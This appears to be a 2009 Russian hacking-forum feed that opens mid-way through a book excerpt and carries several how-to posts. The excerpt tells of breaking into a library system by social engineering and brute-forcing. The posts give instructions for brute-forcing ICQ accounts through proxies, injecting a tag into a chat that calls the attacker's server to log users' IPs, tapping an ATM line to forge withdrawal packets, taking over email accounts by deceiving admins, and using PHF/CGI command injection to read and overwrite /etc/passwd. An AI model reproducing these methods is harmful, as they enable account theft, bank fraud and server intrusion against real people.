попробовал другие варианты, но они тоже не сработали. Наконец, я снова набрал “HELP99999”, и на этот раз команда подействовала! Наверно, в первый раз я сделал ошибку. Теперь система полетела, и я оказался в отладочной среде программы. Это было нечто вроде мини-системы для редактирования текстовых и командных файлов. Я не нашел в ней ничего ценного, кроме копирайта с первыми буквами названия компании, выпустившей программу. Я просмотрел несколько каталогов компаний по производству программного обеспечения, пытаясь расшифровать аббревиатуру, и наконец мне это удалось. Позвонив туда, я выяснил, что именно они написали интересующую меня программу. Я попросил прислать мне запасную документацию к пакету. Конечно, сказали они, просто вышлите нам серийный номер своей программы, и они вышлют мне книгу за соответствующую плату. Я попытался схитрить, но не тут-то было: секретарша сообщила, что серийный номер можно найти на ярлыке инсталляционных дискет. “У меня сейчас нет дискет... Я звоню из машины. Я уверен, что высылал свою карточку, может, вы проверите? Меня зовут Ажонатан Смит из ...” Я молил бога, чтобы настоящий J. Smith посылал им свою карточку. Но — нет. Мне пришлось сказать, что я перезвоню на следующий день. Я решил, что в библиотеке компании должна быть эта документация, но не мог же я там появиться и попросить директора дать мне ее на время. Я должен был действовать как независимый хакер. Пришло время серьезно заняться социальной инженерией. Директор для этой цели не годится — он знает мой голос. Все, что мне было надо, — это серийный номер. Я позвонил секретарше библиотеки и сказал, что я — программист из компании, которая установила им новую компьютерную систему, и хотел бы знать, нет ли у них восьмой версии программы? Этого она, конечно, не знала, но я вежливо объяснил, что ей нужно просто найти несколько дискет с приклеенными на них ярлычками... Найдя их в директорском офисе, она сообщила мне серийный номер. Одной из его цифр оказалась восьмерка, и я сказал ей, что все верно, и я просто хотел убедиться, что компания поставила им самую новую версию, и как только появится девятая версия, мы пошлем ее им.</p> <p>Я больше суток разбирался в отладочной документации. Я обнаружил, как можно обойти программное окружение и как — самое главное! — выйти из него. Выйдя из отладки, я оказался перед приглашением к загрузке. Нажав в ответ “circ” и “JSC” — J. Smith Co. — я вошел внутрь. Разумеется, здесь я привожу вымышленное имя. После ввода верного пароля я оказался на втором уровне зашиты — circ,JSC была общая входная комбинация, известная любому легальному пользователю. Я знал, что означает “ваш личный девятизначный код”. Номер социальной безопасности! Я знал, где родился и вырос директор, так что первые три цифры у меня были. Я написал программу для перебора последних шести цифр, и вскоре нашел верную комбинацию. Мне выдали сообщение: “Добрый вечер, Ажейн Торнбакл! Пожалуйста, введите ваш личный пароль”. Директора звали иначе. Теперь мне был нужен пароль Ажейн. Я снова попробовал метод грубой силы, но безрезультатно. Я не знал, кто такая Ажейн Торнбакл, но у меня была извлеченная из мусора пачка рекламных проспектов компании. А вот и ответ: Торнбакл оказалась сотрудницей отдела службы управления информацией — то есть программистом. Вычислить ее пароль мне так и не удалось; продолжив перебирать номера социальной безопасности, я опять вышел на номер директора библиотеки. Итак, чего я достиг? Программная оболочка — вещь интересная, и я научился с ее помощью как угодно редактировать файлы и т. п. Я сумел использовать одну из отладочных команд поиска для обнаружения слова “circ” в файлах системы. В одном из них среди абракадабры я обнаружил слово “minicirc”, а затем “circ”. Я попытался расшифровать абракадабру, идущую после “circ”, думая, что это зашифрованное “JSC”, и надеясь таким образом найти ключ к абракадабре после “minicirc”. Безрезультатно. Вернувшись к входному приглашению, я попытался использовать “minicirc” с различными паролями. Проблема была в том, что я не знал, что такое “mini”. Я подумал, что это может быть модель программы или руководство. Наконец, я нашел верный пароль — T.CIRC1. Он-то и привел меня к заветному сообщению: “Пожалуйста, введите вам личный девятизначный идентификационный код”. Через несколько секунд я нашел нужный номер, и экран очистился. “Доброе утро, Новый Пользователь!” — появились на нем слова. — “Пожалуйста, введите ваш личный пароль”. Я надеялся, что это — последний уровень зашиты. И точно: через несколько мгновений мне удалось войти, использовав пароль “TRAIN”. Я гордился собой — я взломал-таки закрытую часть системы. Но приключения еще не закончились — ведь “minicirc” была всего лишь учебной моделью настоящей системы. Ее можно было использовать для проверки книг для выдачи посетителям, регистрации новых посетителей, поиска в базах данных и т. д. Но в базе данных содержались только вымышленные имена и адреса. Многие другие свойства системы были бесполезны, но мне помогло само их наличие.</p> <p>Там была электронная лоска объявлений, на которой инсталлировавшие программу оставили несколько стандартных сообшений-приветствий. Прочитав их, я узнал немало полезного. Каждое сообщение открывалось списком пославших его, и тех, кому оно предназначалось. Я заключил, что можно посылать сообщения из “minicirc” в “circ”, и наоборот. Во-вторых, там оказались сообщения, предназначавшиеся одному пользователю, но по ошибке посланные всем. С помошью текстового редактора я написал письмо и лично послал его. Затем вышел, перезвонил и снова оказался в программной оболочке. Использовав редакторы отладчика, я нашел написанное мною письмо, и изменил его содержание, адресовав его директору библиотеки. Свое имя, под которым хранился файл, — “Новый Пользователь” — я изменил на фиктивное имя представителя компании, произведшей программное обеспечение. В послании содержалась просьба к директору позвонить этому представителю для разговора насчет новой, девятой, версии — обратная инженерия! Телефонный номер, который я дал директору, принадлежал одному моему другу, которому я кратко объяснил, как действовать в случае, если директор позвонит. На всякий случай мы установили автоответчик. Когда директор позвонил, мой друг немного рассказал о новых разработках, а затем задал несколько технических вопросов о способе, с помошью которого в библиотеке была инсталлирована программа. Директор не знал этого, но сказал, что может посмотреть у себя на терминале, загрузившись в систему... “Отлично”, — сказал мой друг. — “Делайте все то же, что обычно. Circ. JSC. Так, номер... Кстати, вы используете все тот же личный пароль?” “Ну да, „Firebird&quot;. Ну вот, я загрузился...” Итак, последний шаг оказался самым легким.</p> <p>Для завершения проекта мы стали думать, что же можно сделать, используя директорский системный доступ. Оказалось, что сделать можно многое. Покинув данный уровень, мы вышли на сетевой сервер, а оттуда загрузились в один из главных компьютеров, используя имя и пароль директора. Под конец, для подтверждения своего успеха, я использовал редактор интерактивного отладчика и изменил программу так, чтобы вместо пояснений к командам она выдавала на экран непристойную шутку. Затем я оставил файл в директории директора библиотеки, в котором объяснил, каким образом был совершен взлом.</p> <p>комбинирование принципов</p> <p>Если вы хотите быть по-настояшему удачливым хакером, вы должны стать “хакером на все руки”. Недостаточно хорошо владеть методами социальной инженерии, или быть гением-программистом, и т. д. Вы должны обладать всеми этими навыками в совокупности с богатым воображением и установкой на конкретные цели. Плюс этика. Я действительно считаю, что хакерство без этики не ведет ни к чему хорошему — если вы будете причинять неприятности другим, то неприятности вскоре начнутся и у вас. Присутствовала ли этика в описанном мною взломе? Конечно — ведь я просто переименовал экранный файл, а неприличную шутку поместил в другой, под прежним именем. Позднее мы вместе с директором и программистами компании вместе обсудили план действий по заделыванию дыр в защите системы.</p> <p>мысли в заключение</p> <p>Спросите мудреца о цели существования вселенной, или еще что-нибудь в том же духе — и он ответит:</p> <p>— Этого нельзя выразить словами. Я знаю ответ, я его чувствую, но неописуемое словами не опишешь. “Ну и чушь!” — подумаете вы. Конечно. Но вместе с тем это правда. Мудрец действительно верит в то, что знает обо всех тайнах вселенной, но вы этого не поймете, пока сами не почувствуете то же самое. Вот ваш проводник в мире хакерства, лежащем за пределами этой книги. Из книги вы узнали идеи, методы и факты, которые позволят вам начать заниматься хакерст-вом, сводя к минимуму возможность совершения ошибок. Но это еще не все. Это хобби (игра? профессия?) требует, как и любое хобби, времени, сил, практики и еще, и еще, до тех пор, пока у вас все не начнет получаться так, как вы хотите.</p> <p>несколько советов обеспокоенным администраторам</p> <p>Если же вы прочли эту книгу с точки зрения соблюдения закона и обеспечения компьютерной безопасности — что ж, теперь вы знаете множество способов взлома самых “непробиваемых” систем. Вы, наверное, уже составили список мер, которые примете против описанных мною методов. Объясните вашим пользователям, что никогда нельзя открывать никакую конфиденциальную информацию по телефону, по почте или в режиме онлайн. В ответ на просьбу открыть пароль следует отвечать просто: “в этом я не смогу вам помочь”. Нельзя раскрывать имена или телефонные номера, адреса электронной почты иди физические адреса. Если человек спрашивает такие веши, он, скорее всего, является хакером.</p> <p>Установите правила, по которым легальные пользователи задавали бы вопросы любому подозрительному типу, шатающемуся по офисам. Но не стоит и слишком давить на пользователей проблемами безопасности. Если вы проявите излишнюю бдительность — например, поменяете все пароли, — пользователи могут вас не понять. Объясните им, что они потеряют, если компьютерная безопасность будет нарушена. Убедите их, что это важно для всех сотрудников организации. Чтобы убедиться в нерушимости зашиты на все 100%, возьмите за правило регулярную проверку и очистку компьютеров. Найдите и залатайте дыры в защите вашей системы. Уберите все отладочные опции, которые могут быть причиной появления таких дыр. Если вы увольняете сотрудника, немедленно сотрите его доступ и поменяйте код всех остальных. Существует специальная литература о мерах по компьютерной безопасности, которые должен предпринять администратор. Прочтите ее. Немного хорошей работы — и ваш труд не пропадет зря.</p> <p>несколько советов обеспокоенным хакерам</p> <p>Вы прочли всю книгу, и все еще сомневаетесь в успехе? Я гарантирую вам — если вы прилежно обучаетесь хакерству, вы станете настоящим мастером этого искусства. Даже если вам пока не удалось совершить ни единого взлома, вы все же можете считать себя настоящим хакером — ведь у вас благородные намерения, вы соблюдаете правила хакерской безопасности, вы не станете вредить системе, которую взломаете, и вы стремитесь наслаждаться жизнью во всей ее полноте. А все это и есть хакерство. Поздравляю вас и желаю удачи: теперь вы знаете все Секреты Супер-Хакера! То есть ваши секреты.</p> mybb@mybb.ru (admin) Wed, 05 Aug 2009 14:14:51 +0400 http://hackzona.youbb.ru/viewtopic.php?pid=38#p38 http://hackzona.youbb.ru/viewtopic.php?pid=37#p37 <p>В этой статье я решил описать метод получения ICQ UIN, которым я иногда пользуюсь. Для начала нам понадобятся две софтинки: IPDbrute2 Lite и UIN;PASS Generator_v1.4<br />1. Запускаем UIN;PASS Generator v1.4. Он нам нужен для создания файла со списком ICQ ; pass, который понимает программа IPDBrute 2 Lite </p> <p>В поле &quot;Делать с&quot; - вводим номер ICQ, с которого мы начнем генерировать список в этой программе.<br />В следующем поле вводим конечный номер ICQ.<br />В поле &quot;Делать каждые&quot; оставляем 1.<br />В поле &quot;записывать в&quot; вводим название файла, в который будут записываться сгенерированные UIN - ы и пароли.<br />В качестве разделителя используем предложенный по умолчанию &quot;;&quot;.<br />В поле &quot;пароль&quot; вписываем пароль, который будет подставляться при взломе ( например, 12345 ).<br />Если у вас имеется хороший словарь паролей, то путь к нему можно указать в следующем поле &quot;Лист паролей&quot;.<br />Нажимаем кнопку &quot;Create&quot;.<br />Программа уведомит вас об окончании своей работы.</p> <p>2. В Интернете ищем списки анонимных прокси и копируем их в текстовый файл. Чем больше, тем лучше. Почему? Да потому, что прокси сервера имеют склонность закрываться и в вашей базе уже будет больше половины неработающих серверов.</p> <p>3. Запускаем программу IPDBrute 2 Lite. Для начала, нам нужно настроить IPDBrute 2 Lite - нажимаем кнопку &quot;Config...&quot;. <br /> </p> <p>Source uin;pass list file: - путь к файлу, который мы сгенерировали при помощи UIN;PASS Generator v1.4.<br />Dump incorrect passwords to this file: - cюда будут записываться список ась с паролями, которые вы не смогли взломать.<br />Dump correct passwords to this file: - cюда будет записываться список ась с паролями, которые вы взломаете.<br />Threads: - количество потоков, по которым работает программа. Это зависит от скорости вашего Интернета. Я на модеме ставлю 20-30 ( у меня Интернет дохлый ), попробуйте разные числа и найдите оптимальное для вашего соединения. Рекомендую начать с 50.<br />Cleanup every: 30 minutes - убираем эту галочку.<br />Proxies list file: - путь к файлу с адресами анонимных прокси серверов.<br />Далее жмем на кнопку &quot;OK&quot;.<br />Теперь жмем кнопку &quot;Start&quot; и идем пить кофе или спать с красивой девушкой, а ICQ номера, которые ты взломал, будут писаться в good.txt.</p> mybb@mybb.ru (admin) Wed, 05 Aug 2009 14:13:18 +0400 http://hackzona.youbb.ru/viewtopic.php?pid=37#p37 http://hackzona.youbb.ru/viewtopic.php?pid=36#p36 <p>Я предполагаю, что читатель знает, что такое CGI, и на этом построю своё объяснение. </p> <p>Начал я с малого. </p> <p>В любом чате фрейм, в котором ты пишешь сообщения, генерится динамически (для каждого входящего) и, возможно, содержит несколько скрытых полей. Типа &lt;input type=hidden name=cookie value=SP202134&gt; (так в партизанах хранится UserID) </p> <p>Идея в следующем: сохраняем содержимое этого фрейма на диске и исправляем его так, что бы можно было с ним работать со своего винта. Т.е. заменяем ссылки типа /cgi-bin/refresh.pl на полный путь wwwchat.nsk.su/cgi-bin/refresh.pl и вместо скрытых полей формы пишем типа &lt;input type=text name=cookie value=SP202134&gt; (что бы можно было их изменять) После этого делаем HTML документ для &quot;сборки чата&quot; из кусков. Т.е. примерно так </p> <p>&#160; &#160;&quot;First.htm&quot;<br />&lt;html&gt;<br />&lt;frameset rows=&quot;80%,20%&quot;&gt;<br />&#160; &#160;&lt;frameset cols=&quot;70%,30%&quot;&gt;<br />&#160; &#160; &lt;frame name=&quot;razg&quot;<br />&#160; &#160; src=&quot;http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor+nocookie#end&quot;&gt;<br />&#160; &#160; &lt;frame name=&quot;rigt&quot; src=&quot;http://www.chat.nsk.su/right.html&quot;&gt;<br />&#160; &#160;&lt;/frameset&gt;</p> <p>&#160; &#160;&lt;frame name=&quot;bot&quot; src=&quot;start.htm&quot;&gt;<br />&lt;/frameset&gt;<br />&lt;/html&gt;</p> <p>Start.htm - это и есть тот фрейм который я сохранил и изменил </p> <p>После этого я просто броузером открывал эту страницу (First.htm). И сразу(!!!) попадал в чат, минуя стандартную процедуру входа. Это позволило : <br />1. Обходить зарегистрированные имена <br />2. Прятать свой IP от киллеров, за счет взятия чужого ID'a </p> <p>Дальше мне стало интересно вычислить IP участников. Я обнаружил, что не запрещён тэг &lt;bgsound src=&quot;&quot;&gt;. Это позволило вставлять в своё сообщение ресурс со своей машины. Сам по себе звук на хер не нужен, но этот косяк позволил вставить в свой месс строку типа &lt;bgsound src=&quot;http://MyIP/cgi-bin/spy.exe&quot;&gt;. Этот скрипт (spy.exe) вызывался с машины КАЖДОГО участника чата. Это позволило увидеть IP всех (скрипт просто сохранял мне на винт данные из переменной окружения REMOTE_ADDR). Это мне не очень понравилось, тк не понятно было где чей IP. Примерно в это-же время в чате появились приваты. Это значит, что документ в главном фрейме (тот где мессы все) стал называться по другому. </p> <p>До приватов : <br /><a href="http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor#end" rel="nofollow" target="_blank">http://www.chat.nsk.su/cgi-bin/refresh. &#8230; zgovor#end</a> </p> <p>После появления приватов : <br /><a href="http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor+SP345678#end" rel="nofollow" target="_blank">http://www.chat.nsk.su/cgi-bin/refresh. &#8230; 345678#end</a> </p> <p>Где SP456789 - UserID </p> <p>После этого в скрипт (spy.exe) был добавлен вывод ID'a из переменной окружения HTTP_REFERER Ну а сопоставить ник с ID'ом не проблемма, тк ID каждого прописан там же примерно в такой строке <br />&#160; &#160;&lt;br&gt;&lt;b&gt;&lt;font color=yellow size=-1&gt;Тут ник&lt;/font&gt;&lt;/b&gt;<br />&#160; &#160;&lt;font color=black&gt;&lt;a href=&quot;/cgi-bin/private_form.cgi?SP448188&quot;&gt;<br />&#160; &#160;&lt;img src=/img/mes.gif border=0 vspace=0&gt;&lt;/a&gt;&lt;/font&gt;</p> <p>(Это строка взята из правого фрейма, где можно вызвать функцию &quot;Кто в чате&quot;) </p> <p>После этого перестало быть проблемой сопоставление ника и IP. Затем я решил позабавиться с приватами. </p> <p>Используя метод сохранения странички на винт (описанный выше), я получил форму для отправления приватов от КОГО-ТО КОМУ-ТО. Т.е. я смог в отсылаемом приватно сообщении проставлять имя отправителя. </p> <p>Осталось только одно. Я знал, что в чате есть киллеры, но ничего не знал про то, что это, где это, как это. Знал только, что для того, чтобы киллерствовать надо зайти на какую-то страничку. Очевидно, что в этой киллерской страничке показываются имена. Я предположил, что моё имя показываются таким, каким я его ввожу. Исходя из этого, я под именем &lt;bgsound src=&quot;http://MyIP/cgi-bin/spy.exe&quot;&gt; MyNick зашел в чат (через прокси), и начал легонько ругаться (мне надо было, чтобы киллеры зашли на свою страничку). После этого (когда меня убили) я разгреб лог моего ВебСервера (OmniHTTPd beta) и увидел там обращение со страници не относящейся к известным мне страницам чата. Я полез на эту страницу и получил запрос на ввод пароля, со словами &quot;Дорогой администратор...&quot;. Это приятно согрело душу. Дальше я начал думать, то ли подобрать пароль, то ли ещё что придумать. Но ситуация так сложилась, что я оказался в одной сети с киллером, и, запустив сниффер, я поимел пароль. </p> <p>Ну вот и все. </p> <p>With best regards, Maveric. </p> <p>P.S. Ни один из этих приколов уже не работает в партизанах, т.к. это был &quot;дружественный взлом&quot; и обо всем, что я нашел, я рассказал создателю чата. Он все косяки исправил.</p> mybb@mybb.ru (admin) Wed, 05 Aug 2009 14:12:17 +0400 http://hackzona.youbb.ru/viewtopic.php?pid=36#p36 http://hackzona.youbb.ru/viewtopic.php?pid=35#p35 <p>Банковские автоматы и кредитные карточки уже давно появились на улицах больших городов и постепенно начинают входить в нашу жизнь. Что есть банкомат с точки зрения хакера? Правильно, источник халявы и быстрого способа заработать немного карманных деньжат. Ведь если украсть десяток--другой долларов, кто будет вас искать?</p> <p>От банковских работников я слышал, что оправданными с финансовой точки зрения будут поиски похитителя, умыкнувшего в свой карман по крайней мере 300 вечнозеленых.</p> <p>Уменьшим эту цифру вдвое для безопасности и примем полученные полтораста баксов в качестве того потолка, заходить за который не стоит даже в том случае, если очень--очень хочется купить новый микропроцессор или материнскую плату, а к ним быстрый модем впридачу.</p> <p>Впрочем, с юридической точки зрения похищение даже одного доллара - кража. Поэтому, прежде чем отправляться к ближайшему банкомату с кусачками и отверткой, запаситесь на всякий случай парой адвокатов и захватите Шварценеггера на тот случай, чтобы немножко попридержать службу безопасности банка, пока вы будете сматывать удочки. Для того чтобы получить деньги, мало найти потерянную карточку и вставить ее в прорезь автомата. Нужно ввести с клавиатуры определенный код, на карточке не написанный и хранящийся у клиента в голове. Сама по себе карточка без него бесполезный кусок пластика. К тому же ее бывший владелец, как только обнаружит пропажу, немедленно позвонит в банк, и у карточки будет выставлен знак изъятия. Другими словами, она исчезнет в недрах банкомата и уже больше никогда не попадет к вам в руки. Следовательно, нужно не только найти карточку, но еще и подсмотреть вводимый ее владельцем пароль и снять со счета требуемую сумму еще до того, как тот обнаружит пропажу.</p> <p>Впрочем, если мы уж сумели подсмотреть пароль, то и карточку воровать совершенно необязательно. Достаточно ее считать. Что и сделали в свое время ребята из Эстонии. История шумная и известная почти каждому кардеру. В дорогих ресторанах официант, пока нес карточку клиента, успевал ее считать портативным устройством размером с пачку от сигарет, изготовленным из обычной магнитофонной головки, батарейки, усилителя сигналов и записывающего устройства. Ошибка горячих эстонских парней заключалась в том, что они грабили часто и помногу. Другими словами, в жадности. А вот в другой истории злоумышленникам повезло больше. Как-то раз на малолюдной улице одного небольшого городка появился новый банкомат. Естественно, нашлись такие, что пожелали им воспользоваться. Опускают в него карточку, вводят нужный пароль. Ждут себе ждут, а банкомат им отвечает: извините, мол, нету денег, или связи - в общем, выдает неподозрительное объяснение невозможности выдачи денег. В банке долго понять не могли - как совершается кража? Почему-то никому и в голову не могла придти мысль, что этот банкомат-то липовый и установлен злоумышленниками специально для чтения карт и запоминания паролей. Позже его демонтировали, но злоумышленников, кажется, так и не нашли. За полтора года (а именно столько он умудрился простоять) кардеры перекачали на свой счет немалую сумму. Однако же рядовой хакер скорее найдет оброненную кем-то впопыхах тысячедолларовую купюру, чем завалявшийся на свалке банкомат. Может быть, есть способ попроще?</p> <p>Есть, но для этого потребуется умение держать паяльник в руках, чтобы смастерить себе некий хардваринговый девайс, а также разбираться в сетевых протоколах на канальном уровне. Идея проста до безобразия: поскольку банкомат в себе не хранит никакой информации и всегда обращается за ответом в банк, то можно, врезавшись в кабель между ним и банком, перехватить трафик и фальсифицировать его нужным нам образом. Ни один банк не в состоянии гарантировать целостность кабеля на всем его протяжении.</p> <p>Разумеется, для анализа протокола обмена понадобится персональный компьютер, а также программа для снятия дампа и представления его в удобочитаемом виде. Можно, к примеру, воспользоваться компактной и маленькой утилитой pio и навигатором управления bleak_l, заботливо написанным хакером KPNC для взлома НТВ, но вполне подходящим и для этого случая.</p> <p>Единственное, что придется спаять самостоятельно, так это контроллер для подсоединения к банковскому кабелю. В Сети очень много различных схем и энтузиастов, предлагающих за относительно небольшие деньги приобрести уже готовые изделия. Так или иначе, но в дальнейшем будем считать, что такой девайс у нас есть.</p> <p>Наши последующие действия</p> <p>- Врезаемся в линию между банкоматом и авторизационным центом (заметим, что врезаться придется в разрыв кабеля, так чтобы вы в дальнейшем могли не только перехватывать, но и блокировать любые проходящие пакеты). Разумеется, что если мы хотя бы на мгновение прервем целостность кабеля, дело закончится плачевно. Поэтому поищите в книжках электронные схемы мгновенной коммутации &quot;на ходу&quot;. Аналогичным образом мошенники нейтрализуют сложные системы электронных сигнализаций. Не тех, что в магазинах, а на порядок совершеннее.</p> <p>- Наблюдаем за пересылкой пакетов, не предпринимая никаких действий. Только наблюдаем, чтобы понять логику. На самом деле это &quot;только&quot; представляет собой утомительный и кропотливый анализ протоколов и расшифровки всех полей заголовков пакетов с той целью, чтобы в дальнейшем иметь возможность генерации и отправки собственных пакетов, не опасаясь того, что они чем-то будут отличаться от реальных.</p> <p>- Теперь манипулируем легальной картой (это значит, что по крайней меру одну карту вы должны будете все же завести) с тем, чтобы понять логику обмена. В частности, найти и опознать передаваемые банкоматом запросы и возвращаемые ему ответы.</p> <p>- Сравним теперь это с просроченной картой, чтобы определить реакцию системы в такой ситуации, а также найти и идентифицировать коды ошибок (они нам потом понадобятся).</p> <p>- Наконец, тяпнем по маленькой для храбрости и, оставив Шварценеггера на шухере, начнем процесс. Засовываем нашу карту, на счету которой лежат оставшиеся после экспериментов с банкоматом несколько долларов.</p> <p>- Наблюдаем, как банкомат шлет запрос, включая номер нашего счета и все остальное. Мы никак не вмешиваемся в этот процесс.</p> <p>- Авторизационный центр должен вернуть ответ, в котором содержится много полезной информации. А среди нее - максимально возможная сумма для снятия. Вот тут мы перехватываем этот пакет и взамен него шлем другой. Чем он отличается от оригинального, не стоит, наверное, даже говорить - и так всем ясно. Но будьте внимательны! Эта сумма может присутствовать сразу в нескольких полях, кроме того, необходимо скорректировать и поле контрольной суммы, иначе ничего не получится! Это самый сложный момент во взломе.</p> <p>- Впрочем, на этом этапе вы еще ничем не рискуете. Если ошибетесь, то просто перехватите обратный ответ банкомата и не пропустите его. Ведь вы еще помните коды ошибок, не так ли? А поэтому пробуйте, пока банкомат не &quot;проглотит&quot; фальсифицированный пакет.</p> <p>- Ну что же, теперь требуйте от банкомата столько денег, на сколько у вас хватит совести. В это время банкомат передает банку, сколько денег было снято. Взаправду. Эту информацию надо перехватить и послать ложный пакет, что денег снято всего 1 доллар (или сколько у вас там осталось взаправду на карточке). Будьте очень внимательны. Теперь фальсифицированный пакет передается уже банку, и любое неверное действие будет необратимо зафиксировано системой безопасности, и даже Шварценеггеру скоро покажется жарковато.</p> <p>- Ну вот и все. Осталась маленькая проблема - как обеспечить сходимость дебета и кредита. Ведь банкомат ведет логи и протоколы всех действий. Подумайте, как можно обмануть систему.</p> <p>- Наконец все! Вы отсоединяете свой ноутбук от кабеля, по возможности замаскировав нелегальное подключение, и отправляетесь в ближайший компьютерный салон за новым микропроцессором.</p> <p>- Однако помните, что многие банкоматы сейчас снабжены контрольными телекамерами, что не есть хорошо. Но к счастью, еще не все. И стальная крыса всегда найдет для себя щель!</p> <p>А вообще, чтобы ломать банкоматы, неплохо бы разобраться в их устройстве, типовом протоколе обмена и программном обеспечении. То есть так или иначе выбрать себе работу, связанную с их разработкой, созданием или по крайней мере эксплуатацией. В этом случае вы получите действительно достоверную информацию об их устройстве, а также слабых и сильных сторонах. А ведь уязвимость у них действительно есть. Только она неочевидна для постороннего, не работавшего с ними человека. Но как и любому человеческому творению, этому свойственны недостатки не в меньшем числе. Однако будете ли вы заниматься мелким жульничеством, находясь на высокооплачиваемой работе?</p> mybb@mybb.ru (admin) Wed, 05 Aug 2009 14:11:37 +0400 http://hackzona.youbb.ru/viewtopic.php?pid=35#p35 http://hackzona.youbb.ru/viewtopic.php?pid=34#p34 <p>Один из самых простых <br />Пишите владельцу мыла какое нить письмо, все равно с каким содержанием, но лишь бы хозяин мыла ответил. Если это какой нить &quot;чудо-крутой хакер&quot;, то что нить типа: &quot;Слушай, а ты в натуре можешь сайт сломать??? <a href="http://www.microsoft.com/" rel="nofollow" target="_blank">http://www.microsoft.com/</a> не твоя работа???&quot; и так далее в этом духе...;-) Если Веб-мастер, то что нить типа: &quot;Мне так нравится как ты пишешь! А у тебя JAVA-скрипта нету, что б он там что то делал???&quot;...По фигу ЧТО, главное что б от него назад ответ пришел. В принципе эта вся процедура была только для того, что б узнать ИМЯ_ФАМИЛИЮ (или ник) и место расположения &quot;клиента&quot;. То бишь если по ентому мылу находится аська, то смотрим инфу в аське, город (если не прописан в аське, то по ИП), имя, возраст и зип. Потом пишешь админу мыльного сервака (у любой мыльной системы есть админ, и у 99% www-шные сервера), обычно это адреса admin@provider.com и support@provider.com. Так вот... Пишешь письмо (очень желательно через www-браузер, например от wwwmail.ru или wwwhotmail.com) и через анонимную проксю. Это для того что б в заголовке пакета был ИП прокси. Так.... для секьюрити... ;-) Так вот. В теле письма пишешь, что так и так... Злобные хакеры украли у тебя мыло, а тебе очень нравится их служба, сервис, скорость работы, безглючность и все такое... Что ты никогда не променяешь ихний сервис, и что они вообще самые крутые мыльщики! Указываешь ИМЯ, ФАМИЛИЮ, ЗИП, ГОРОД, Телефон (от балды) или что они там еще просят.... Ессено назад придет письмо, что &quot;Информация не совпадает с введенной при регистрации и все такое...&quot;. Но ты будь настойчивей! Пиши назад, что ТО_ЧТО_ТЫ_ИМ_ВЫДАЕШЬ - ЕДИНСТВЕННАЯ ВЕРНАЯ ИНФОРМАЦИЯ о ТВОЕМ аккаунте! И повторяешь им ту же инфу, что и первый раз. И так пока админ не сломится...но не забывай каждый раз расхваливать их сервис! ;-) Обычно раз на 7-10 прокатывает... ;-) У меня был даже раз случай, когда один буржуйский админ &quot;отдал&quot; мне мыло, где (как потом оказалось) инфа прописанная в мыле ВООБЩЕ не соответствовала той что я ему ВЫДАВАЛ якобы за владельца аккаунта! Так что дерзайте, тут главное БОЛЬШЕ фантазии и упорства! Но и о безопасности не забывайте! <br />Второй способ <br />Посложнее, но все равно общедоступный. Почти в каждом мыльном сервисе есть служба что типа &quot;Foggot Password?&quot; Так вот...Заходим туды (предварительно не забыв изменить атрибуты филе cookie_для_этой_службы на ReadOnly). Там обычно ОЧЕНЬ простые вопросы... Если повезет , то вопрос будет (к примеру на мыло.ру) &quot;В каком городе ты родился&quot;? В первом способе описано как узнавать город юзверя по мылу , так что на этом не бум останавливаться .Ну и вопросы бывают &quot;кустомайзские&quot;- типа &quot;2000&quot; , ответ обычно такойже..;-) А вот если что нить типа &quot;Как зовут мою собаку?&quot; , то читай ниже... Открываем эту страницу (ну где вводить надо ответ на секретный вопрос , не догоняешь что ль???;-)) итам в HTML-просмотре ищем строчкутипа : form action=&quot;/cgi-bin/3970.dll?secquest&quot; итд... Так вот... Если урл мыла <a href="http://www.mail.ru" rel="nofollow" target="_blank">http://www.mail.ru</a> , то полный урл места куда отправляется&quot;секретный ответ&quot; будет <a href="http://www.mail.ru/cgi-bin/3970.dll?secquest." rel="nofollow" target="_blank">http://www.mail.ru/cgi-bin/3970.dll?secquest.</a> Этот урл вводишь вместе с индефикатором Вопроса в программу типа WWWHack. Идентификатор вопроса находится там же где и form action=&quot;/cgi-bin/3970.dll?secquest, только чуть дальше . Потом в эту программу или загружаешь встроенный wordlist c паролями или пишешь свой по конкретной тематике, это зависит от вопроса . И вперед! Запускаешь и ждешь... Так что тут тоже нужно терпение и хоть базовые знания HTML.</p> mybb@mybb.ru (admin) Wed, 05 Aug 2009 14:08:46 +0400 http://hackzona.youbb.ru/viewtopic.php?pid=34#p34 http://hackzona.youbb.ru/viewtopic.php?pid=33#p33 <p>Взлом, используя браузер, заключается в получении файла passwd из каталога /etc. Либо в удалении всего (или части), что имеется на сайте. :) Когда вы получите passwd и расшифруете его, то дальше уже надо будет работать с telnet'ом и использовать exploits. Но это не в этой статье :)</p> <p>Итак, приступим.</p> <p>Самый простой способ получить passwd с помощью браузера - это техника PHF. Т.е. вы в строке адреса набираете: wwwhackzone.ru/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd Если скрипт phf лежит в каталоге cgi-bin, то он вам выдаст на экран passwd. %0a - перевод строки. Ну что-то типа нажатия на enter. /bin/cat%20/etc/passwd - эквиваленто /bin/cat etc/passwd. Запускается программа cat - просмотр содержимого файла. В данном случае файл passwd в каталоге /etc. Вместо cat, можно поставить другие команды: ls (список файлов в каталоге), id (ваши права), rm (удалить файл) и т.п. Сначала лучше запустить id, чтобы поглядеть какие у вас права - если root, то вам повезло!</p> <p>Следующий способ - разновидность первого. Если вы обнаружили, что у вас права root, то можно просто взять passwd и добавить последней строчкой ваш логин, с правами Root. И потом залить его через FTP в любой каталог (пусть это будет income). Далее в браузере с помощью ls ищем полный путь к этому каталогу (допустим он /home/local/ftp/income). Тогда пишем wwwhackzone.ru/cgi-bin/phf?Qalias=x%0a/bin/cp%20/home/local/ftp/income/passwd%20/etc/passwd Т.е. мы скопировали наш passwd, на уже существующий! Теперь у нас есть права Root!!!</p> <p>Следующий способ более сложный. Он заключается в том, чтобы выявить у CGI скриптов уязвимые места, и использовать их для получения passwd. Т.е. надо сделать так, чтобы скрипт начал выполнять вашу команду (cat, ls, rm...). Например на сервере есть скрипт, который отсылает сообщение кому-либо с помощью команды mail (эта команда позоляет выполнять другие команды!). Тогда в теле письма достаточно вставить ;cat /etc/passwd и вы увидите passwd, если скрипт не проверяет наличе таких символов как ;&gt;|&lt; и т.п., то все будет OK! Тоже самое позволяет делать команда finger.</p> mybb@mybb.ru (admin) Wed, 05 Aug 2009 14:01:51 +0400 http://hackzona.youbb.ru/viewtopic.php?pid=33#p33 http://hackzona.youbb.ru/viewtopic.php?pid=32#p32 